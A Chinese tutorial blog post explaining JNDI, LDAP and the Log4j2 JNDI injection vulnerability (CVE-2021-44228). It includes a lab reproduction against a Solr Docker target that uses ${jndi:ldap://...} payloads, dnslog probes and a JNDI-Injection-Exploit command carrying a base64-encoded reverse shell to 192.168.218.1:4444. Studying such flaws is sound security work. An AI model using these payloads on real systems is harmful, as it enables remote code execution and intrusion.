JAVA安全之Log4j-Jndi注入原理以及利用方式

什么是JNDI?

JDNI(Java Naming and Directory Interface)是Java命名和目录接口,它提供了统一的访问命名和目录服务的API。

JDNI主要通过JNDI SPI(Service Provider Interface)规范来实现,该规范定义了对JNDI提供者应实现的接口。在JNDI体系中,JNDI提供者是指实际提供命名和目录服务的软件组件。JNDI SPI规范包含了多个接口,其中最为重要的是Context接口。

Context接口是一个通用的上下文接口,它定义了在某个环境中执行命名和目录操作的方法。在JNDI中,上下文环境通常是由JNDI提供者所定义的,它可以是本地的、远程的、文件系统的、LDAP的等等。

通过使用JDNI,Java应用程序可以访问各种不同类型的命名和目录服务,如文件系统、LDAP、DNS等。这样,Java应用程序能够轻松地与各种不同类型的资源进行交互,而无需关心底层的细节实现。

JNDI目前所支持的技术包括?

JNDI(Java Naming and Directory Interface)是一个通用的命名和目录服务接口,可以与多种技术进行集成。以下是一些目前JNDI所支持的技术:

  1. 文件系统:JNDI可以与文件系统集成,允许通过文件路径来访问和管理命名和目录信息。

  2. LDAP(轻量级目录访问协议):JNDI提供了对LDAP服务器的支持,可用于访问和管理LDAP目录,如Active Directory等。

  3. DNS(域名系统):JNDI可以与DNS集成,使Java应用程序能够通过域名访问和管理命名和目录信息。

  4. RMI(远程方法调用):JNDI可以与RMI集成,允许使用RMI注册表来查找和访问远程对象。

  5. CORBA(公共对象请求代理体系结构):JNDI提供了与CORBA命名服务的集成,以便访问和管理CORBA对象。

  6. EJB(企业JavaBean):JNDI可以与EJB容器集成,用于查找和获取远程EJB对象的引用。

  7. JMS(Java消息服务):JNDI可以与JMS集成,允许查找和访问JMS连接工厂、队列和主题等消息相关的资源。

需要注意的是,JNDI可以通过自定义扩展来支持其他类型的命名和目录服务,只要相应的JNDI提供者实现了所需的SPI接口。因此,JNDI的支持范围可以通过自定义扩展进行扩展和定制。

简单来说:通过JNDI提供了"通过名称找到对应的对象"的规范定义

参考文章【精选】Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(一)---开篇与基础知识_ove-2021-44228_程序员Daddy的博客-CSDN博客文章浏览阅读6.9k次,点赞3次,收藏23次。本文将和大家一起对Log4j2的漏洞进行全面深入的剖析。我们将从如下几个方面进行讲解。1、Log4j2漏洞的基本原理 2、Log4j2漏洞在Java高低版本中的不同攻击原理 3、Log4j2漏洞在Java高低版本中的攻击步骤 4、Log4j2漏洞在2.15.0-RC1中被绕过的原因 5、Log4j2最终修复方案(2.15.0)的原理_ove-2021-44228https://blog.csdn.net/hilaryfrank/article/details/121920264

LDAN原理

目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,支持过滤功能。

LDAP(Light Directory Access Portocol),它是基于X.500标准的轻量级目录访问协议。

目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好象它的名字一样。

LDAP目录服务是由目录数据库和一套访问协议组成的系统

Log4j2漏洞介绍

Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端获取对应的Class文件,使用ClassLoader在本地加载Ldap服务端返回的Class类。这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容(会提供一个恶意的Class文件)的ldap协议内容(如:恶意内容${jndi:ldap://localhost:9999/Test}恶意内容),该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的。

java 复制代码
javaCopy Codeimport org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
​
public class Log4jExample {
    // 获取Logger对象,参数为当前类名
    private static final Logger logger = LogManager.getLogger(Log4jExample.class);
​
    public static void main(String[] args) {
        // 示例日志输出
        logger.trace("Trace 级别日志");
        logger.debug("Debug 级别日志");
        logger.info("Info 级别日志");
        logger.warn("Warn 级别日志");
        logger.error("Error 级别日志");
        logger.fatal("Fatal 级别日志");
    }
}

${}这是一个表达式,我们可以利用表达是输出用户信息,当前时间等。

重要的是运用表达式我们就可以使用jndi协议了,例如${jndi:ldap://localhost:9999/Test} ,利用jndi请求地址为//localhost:9999的ldap服务,查找内容Test。

你怎么说//localhost:9999是一个ladp的服务呢!也许人家就是一个普通的地址呢!没错这里客户端也没法判定,也是在请求完之后判定的,这里输入dns的地址会解析吗?会,可以利用这个特点打下dnslog请求,初步确定漏洞。

关于漏洞理解

(笔者之见)

JNDI是一个集大成者(多种技术进行集成体),

其中LDAP为目录服务,利用万物皆对象的观点,这里万物皆目录,或许是你的数据库,一个java对象,接口,或windows的c盘,注册表这些在ldap中都可能只是一个普通的目录。作为用户我们只需输入对应的目录名LDAP服务端便可返回响应结果。

假设我们用ldap服务查找某个对象。服务端返回什么?应该返回该对象对应的类吧!------ 这里就牵扯到了java对象的传输,对象的传输是java中非常会引发漏洞的地方、真实情况是服务端会返回类或类的地址,这时客服端怎么处理?加载类?目的是得到对象,所以本地类加载,通过反射,构造器的方法得到响应对象?

攻击原理图

整个攻击原理和流程如下图所示

注意looup这个方法,这个是请求ldap服务的入口。

请求ldap的参数可控意味着请求的ldap的服务器也可控,作为攻击者我们可以伪造一个ldap服务器。

这时是不是返回的内容也可控了,如果返回正常的字符串,log4j是不是就正常打印处理了。但如果我们返回的是一个恶意类的地址,作为发起请求的客户端收到这个地址会如何处理呢?也许就是触发了这个机制(开发人员没有想过这样的恶意类加载),客户端得到类的地址试图得到这个类(下载到本地)进行对象化。这样就必然会执行攻击者在类中提前设置的恶意代码。

Codebase就是存储代码或者编译文件的服务。其可以根据名称返回对应的代码或者编译文件,如果根据类名,提供类对应的Class文件。这里是请求下载了恶意的.class文件

具体的源码流程分析,还是推荐看以下大佬的万字文章,真的很详细

【精选】Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)---漏洞原理_log4j2漏洞-CSDN博客

Log4j2漏洞复现

启用docker靶场环境

访问web页面

漏洞地址:/solr/admin/cores?action=

payload准备

${jndi:ldap://id4cba.dnslog.cn}

查看dnslog平台是否正确解析

payload准备中间在插入表达式

{jndi:ldap://{sys:java.version}.id4cba.dnslog.cn}

获取反弹shell

漏洞利用需要用到ldap服务器,这里我们还是用工具一把梭哈。

复制代码
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxOC4xLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.218.1"

准备的执行命令是bash -i >& /dev/tcp/192.168.218.1/4444 0>&1,仍然用base编码的方式执行

ok将ldap输入过去,同时nc监听本地端口4444

${jndi:ldap://192.168.218.1:1389/jq0hse}

查看反弹shell信息

正确返回了shell

总结

大佬画的原理图很经典,建立多看看。也建议用maven建立工程,多调试调试验证验证自己的猜想。

相关推荐
xcl09253 小时前
北京24小时自助健身房系统软件开发实战:从架构到部署全流程指南
java·spring boot·架构
一 乐5 小时前
动漫书销售商城|基于springboot + vue动漫书销售商城(源码+数据库+文档)
java·数据库·vue.js·spring boot·毕业设计
卓怡学长5 小时前
w214基于jsp知道特产网
java·intellij-idea
步行cgn5 小时前
Spring 注解使用详解
java·spring
其实防守也摸鱼6 小时前
Fastjson 反序列化漏洞(JNDI注入)
android·数据库·安全·oracle·自动化·fastjson·反序列化
一条小小yu6 小时前
Spring IoC的理解
java·后端·spring
落魄实习生6 小时前
Agent Scope Java 2.x 系列【7】工具使用
java·开发语言·ai
旺仔学长 哈哈6 小时前
springboot钓鱼爱好者交流平台APP设计与实现
java·spring boot·mysql·充电桩管理系统
自强的小白8 小时前
核心功能(Service接口)
java·mybatis